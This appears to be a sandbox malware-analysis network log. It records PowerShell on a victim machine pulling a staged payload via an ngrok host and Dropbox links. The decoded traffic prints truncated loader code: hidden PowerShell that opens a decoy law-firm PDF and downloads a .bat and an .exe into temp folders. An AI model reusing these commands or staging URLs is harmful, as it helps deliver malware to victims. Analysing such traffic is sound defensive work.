Dec 19, 2024 13:45:37.494117975 CET	1.1.1.1	192.168.2.7	0x44ba	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:37.494117975 CET	1.1.1.1	192.168.2.7	0x44ba	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:55.851599932 CET	1.1.1.1	192.168.2.7	0x823d	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:45:55.851599932 CET	1.1.1.1	192.168.2.7	0x823d	No error (0)	www-env.dropbox-dns.com		162.125.69.18	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:45:55.851619959 CET	1.1.1.1	192.168.2.7	0x2f41	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 13:46:20.194880009 CET	1.1.1.1	192.168.2.7	0xf177	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:46:20.194880009 CET	1.1.1.1	192.168.2.7	0xf177	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:46:21.195235968 CET	1.1.1.1	192.168.2.7	0xf177	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:46:21.195235968 CET	1.1.1.1	192.168.2.7	0xf177	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:46:22.210763931 CET	1.1.1.1	192.168.2.7	0xf177	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 19, 2024 13:46:22.210763931 CET	1.1.1.1	192.168.2.7	0xf177	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

23glcrtmzxqgwfpq3oujitt.ngrok.pizza

www.dropbox.com

ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com

uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com

clients2.googleusercontent.com

chrome.cloudflare-dns.com

https:

d.dropbox.com

c.contentsquare.net

uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	3.125.102.39	443	7560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:18 UTC	223	OUT	GET /api/secure/7430a49b4ec2f1c77488485c5e23d0dd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 23glcrtmzxqgwfpq3oujitt.ngrok.pizza Connection: Keep-Alive
2024-12-19 12:44:20 UTC	321	IN	HTTP/1.1 302 Found Access-Control-Allow-Origin: * Content-Length: 395 Content-Type: text/html; charset=utf-8 Date: Thu, 19 Dec 2024 12:44:20 GMT Location: https://www.dropbox.com/scl/fi/99z3idm9bfqz5ub9eti3w/secure.txt?rlkey=lf4wvvzm9z003npv2dbdqosx1&dl=1 Server: Werkzeug/3.0.3 Python/3.12.8 Connection: close
2024-12-19 12:44:20 UTC	395	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 74 6f 20 74 68 65 20 74 61 72 67 65 74 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 39 39 7a 33 69 64 6d 39 62 66 71 7a 35 75 62 39 65 74 69 33 77 2f 73 65 63 75 72 65 2e 74 78 74 3f 72 6c 6b 65 79 3d 6c 66 34 77 76 76 7a 6d 39 7a 30 30 33 6e 70 76 32 64 62 64 71 6f 73 78 31 26 61 6d 70 3b Data Ascii: <!doctype html><html lang=en><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to the target URL: <a href="https://www.dropbox.com/scl/fi/99z3idm9bfqz5ub9eti3w/secure.txt?rlkey=lf4wvvzm9z003npv2dbdqosx1&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49712	162.125.69.18	443	7560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:22 UTC	236	OUT	GET /scl/fi/99z3idm9bfqz5ub9eti3w/secure.txt?rlkey=lf4wvvzm9z003npv2dbdqosx1&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-19 12:44:23 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https:// data: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; base-uri 'self' [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com/cd/0/get/CgjWc5xou5HIFAE48gufSBlhHgo8LKDYylDYPmEnGULbt8e5KSCEgEKkQkNZJ03tF6XD-27FO7FTio5PCZSZdeXpsHCKW6fDUXhZoFUWxCtJc_7VshZiSUgJN_WQKQOBJ6F8P-AFRi1z9658m7VZzIiN/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTA4OTEyMzI5NTQwNjg5OTgxODIxMzE5MDY4NDM3MjQ1OTgwNDM1; Path=/; Expires=Tue, 18 Dec 2029 12:44:22 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=vNT2zzUWSWP10GUhDUlLh35g; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 12:44:22 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=vNT2zzUWSWP10GUhDUlLh35g; Path=/; Expires=Fri, 19 Dec 2025 12:44:22 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=mOG2VVdSDQ; Path=/; Expires=Fri, 19 Dec 2025 12:44:22 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 12:44:22 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Thu, 19 Dec 2024 12:44:23 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 99802422e1884974904428b9abde1697 Connection: close
2024-12-19 12:44:23 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49718	162.125.69.15	443	7560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:25 UTC	370	OUT	GET /cd/0/get/CgjWc5xou5HIFAE48gufSBlhHgo8LKDYylDYPmEnGULbt8e5KSCEgEKkQkNZJ03tF6XD-27FO7FTio5PCZSZdeXpsHCKW6fDUXhZoFUWxCtJc_7VshZiSUgJN_WQKQOBJ6F8P-AFRi1z9658m7VZzIiN/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-19 12:44:25 UTC	734	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="secure.txt"; filename*=UTF-8''secure.txt Content-Security-Policy: sandbox Etag: 1734493528020099d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 140 X-Webkit-Csp: sandbox Date: Thu, 19 Dec 2024 12:44:25 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 411 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: fb23639e293c4008aa06604585f939c3 Connection: close
2024-12-19 12:44:25 UTC	411	IN	Data Raw: 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 6d 73 65 64 67 65 2e 65 78 65 20 2d 41 72 67 75 6d 65 6e 74 4c 69 73 74 20 22 2d 2d 6b 69 6f 73 6b 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 64 67 69 75 72 36 34 76 61 77 6d 64 78 39 61 6c 71 77 36 65 74 2f 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 3f 72 6c 6b 65 79 3d 6b 64 75 68 71 72 6e 70 30 30 72 6a 34 34 72 6a 65 70 70 75 77 33 31 71 6b 26 64 6c 3d 31 22 3b 20 24 52 61 6e 64 6f 6d 46 69 6c 65 4e 61 6d 65 20 3d 20 22 24 65 6e 76 3a 74 65 6d 70 5c 24 28 47 65 74 2d 52 61 6e 64 6f 6d 29 2e 62 61 74 22 3b 20 49 57 52 20 2d 55 72 69 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 6c 30 38 30 Data Ascii: Start-Process msedge.exe -ArgumentList "--kiosk https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1"; $RandomFileName = "$env:temp\$(Get-Random).bat"; IWR -Uri "https://www.dropbox.com/scl/fi/l080

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49730	162.125.69.18	443	7560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:29 UTC	212	OUT	GET /scl/fi/l080falpmqnxrd0e4zb2u/loader.txt?rlkey=d7n6vctas1qob3kqdiqef7ydc&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-19 12:44:30 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com/cd/0/get/CggyE9x9tsooR8bgLLYezdmbtOFNiAhkcWHgTodDG_kvlOz8ZlHICIdjusZj2Lij6qiGT5o_NM2KpCcExTyd9gswV0BojrCyZrr5FQLTD4cJbLGX9gQMBEAEgyEVD4xhEyrOXL1RVovqELTK5EagwvHh/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MjUyNjQ0OTU0OTkzMjA2MTI5NjAzOTQ3NzQzOTE3NzMxNTYwNDIz; Path=/; Expires=Tue, 18 Dec 2029 12:44:30 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=29JeQpc0ylAyESUEqoozoaJw; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 12:44:30 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=29JeQpc0ylAyESUEqoozoaJw; Path=/; Expires=Fri, 19 Dec 2025 12:44:30 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=acgB3C092Q; Path=/; Expires=Fri, 19 Dec 2025 12:44:30 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 12:44:30 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Thu, 19 Dec 2024 12:44:30 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 8f2757619a15457f942a83cda651a7a6 Connection: close
2024-12-19 12:44:30 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49746	162.125.69.15	443	7560	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:32 UTC	370	OUT	GET /cd/0/get/CggyE9x9tsooR8bgLLYezdmbtOFNiAhkcWHgTodDG_kvlOz8ZlHICIdjusZj2Lij6qiGT5o_NM2KpCcExTyd9gswV0BojrCyZrr5FQLTD4cJbLGX9gQMBEAEgyEVD4xhEyrOXL1RVovqELTK5EagwvHh/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-19 12:44:34 UTC	734	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="loader.txt"; filename*=UTF-8''loader.txt Content-Security-Policy: sandbox Etag: 1734493525663540d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 665 X-Webkit-Csp: sandbox Date: Thu, 19 Dec 2024 12:44:33 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 797 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 766a4d75578d4fbfaa6ed5643c958bcf Connection: close
2024-12-19 12:44:34 UTC	797	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 49 6e 64 6f 57 53 74 59 4c 65 20 68 69 44 64 65 4e 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 43 6f 6d 6d 61 6e 64 20 22 24 52 61 6e 64 6f 6d 50 44 46 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 2d 43 68 69 6c 64 50 61 74 68 20 28 27 7b 30 7d 2e 70 64 66 27 20 2d 66 20 28 5b 67 75 69 64 5d 3a 3a 4e 65 77 47 75 69 64 28 29 29 29 3b 20 24 52 61 6e 64 6f 6d 45 58 45 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 2d 43 68 69 6c 64 50 61 74 68 20 28 27 7b 30 7d 2e 65 78 65 27 20 2d 66 20 28 5b 67 75 69 64 5d 3a 3a 4e 65 77 47 75 69 64 28 29 29 29 3b 20 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 Data Ascii: @echo offpowershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49743	162.125.69.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:32 UTC	764	OUT	GET /scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-19 12:44:33 UTC	3875	IN	HTTP/1.1 200 OK Content-Security-Policy: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; base-uri 'self' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/ [TRUNCATED] Content-Type: text/html; charset=utf-8 Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; Path=/; Expires=Tue, 18 Dec 2029 12:44:33 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=HdS8vQAOgoo2pdq3Kdn8X0eJ; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 12:44:33 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; Path=/; Expires=Fri, 19 Dec 2025 12:44:33 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=0FAEIkEix0; Path=/; Expires=Fri, 19 Dec 2025 12:44:33 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en_GB; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 12:44:33 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:44:33 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: d23cbb1880f84f85afefc10443038bea Connection: close Transfer-Encoding: chunked
2024-12-19 12:44:33 UTC	792	IN	Data Raw: 36 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6d 61 65 73 74 72 6f 20 67 6c 6f 62 61 6c 2d 68 65 61 64 65 72 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0a 0d 0a 36 0d 0a 3c 68 65 61 64 3e 0d 0a 31 39 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 0d 0a 34 31 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6d 61 67 65 69 6e 64 65 78 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 2f 3e 0a 0d 0a 34 37 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: 67<!DOCTYPE html><html class="maestro global-header" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB">6<head>19<meta charset="utf-8" />41<meta content="noindex, nofollow, noimageindex" name="robots" />47<meta content="width=device-w
2024-12-19 12:44:33 UTC	617	IN	Data Raw: 62 35 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 66 6f 75 6e 64 61 74 69 6f 6e 2d 76 66 6c 48 36 77 77 77 76 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 64 32 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 74 Data Ascii: b5<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/foundation-vflH6wwwv.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>d2<link rel="preload" href="https://cfl.dropboxstatic.com/static/t
2024-12-19 12:44:33 UTC	380	IN	Data Raw: 61 64 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6a 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 69 6e 64 65 78 2e 77 65 62 2d 76 66 6c 44 61 72 38 30 2d 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 63 33 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 Data Ascii: ad<link rel="preload" href="https://cfl.dropboxstatic.com/static/js/file_viewer/index.web-vflDar80-.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>c3<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserve
2024-12-19 12:44:33 UTC	379	IN	Data Raw: 62 63 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 61 70 70 5f 61 63 74 69 6f 6e 73 2f 69 6e 64 65 78 2d 76 66 6c 77 77 7a 54 4e 45 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 62 33 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 Data Ascii: bc<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/app_actions/index-vflwwzTNE.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>b3<link rel="preload" href="https://cfl.dropboxstatic.com/s
2024-12-19 12:44:33 UTC	200	IN	Data Raw: 63 32 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 6d 61 65 73 74 72 6f 5f 61 70 70 73 68 65 6c 6c 5f 73 74 79 6c 65 73 2d 76 66 6c 66 4e 4e 4c 56 35 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a Data Ascii: c2<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/maestro_appshell_styles-vflfNNLV5.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>
